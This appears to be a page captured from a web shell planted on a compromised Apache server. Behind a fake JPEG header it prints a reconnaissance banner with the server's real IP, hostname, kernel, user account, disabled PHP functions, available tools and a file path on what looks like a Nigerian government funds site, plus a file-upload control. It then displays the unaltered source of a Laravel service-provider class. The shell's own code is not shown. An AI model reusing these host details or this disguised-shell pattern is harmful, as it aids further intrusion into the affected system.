ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.139.105.118 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/vendor/laravel/framework/src/Illuminate/Foundation/Providers/ |
Upload File : |
<?php namespace Illuminate\Foundation\Providers; use Illuminate\Http\Request; use Illuminate\Support\AggregateServiceProvider; use Illuminate\Support\Facades\URL; use Illuminate\Testing\ParallelTestingServiceProvider; use Illuminate\Validation\ValidationException; class FoundationServiceProvider extends AggregateServiceProvider { /** * The provider class names. * * @var string[] */ protected $providers = [ FormRequestServiceProvider::class, ParallelTestingServiceProvider::class, ]; /** * Boot the service provider. * * @return void */ public function boot() { if ($this->app->runningInConsole()) { $this->publishes([ __DIR__.'/../Exceptions/views' => $this->app->resourcePath('views/errors/'), ], 'laravel-errors'); } } /** * Register the service provider. * * @return void */ public function register() { parent::register(); $this->registerRequestValidation(); $this->registerRequestSignatureValidation(); } /** * Register the "validate" macro on the request. * * @return void * * @throws \Illuminate\Validation\ValidationException */ public function registerRequestValidation() { Request::macro('validate', function (array $rules, ...$params) { return validator()->validate($this->all(), $rules, ...$params); }); Request::macro('validateWithBag', function (string $errorBag, array $rules, ...$params) { try { return $this->validate($rules, ...$params); } catch (ValidationException $e) { $e->errorBag = $errorBag; throw $e; } }); } /** * Register the "hasValidSignature" macro on the request. * * @return void */ public function registerRequestSignatureValidation() { Request::macro('hasValidSignature', function ($absolute = true) { return URL::hasValidSignature($this, $absolute); }); Request::macro('hasValidRelativeSignature', function () { return URL::hasValidSignature($this, $absolute = false); }); } }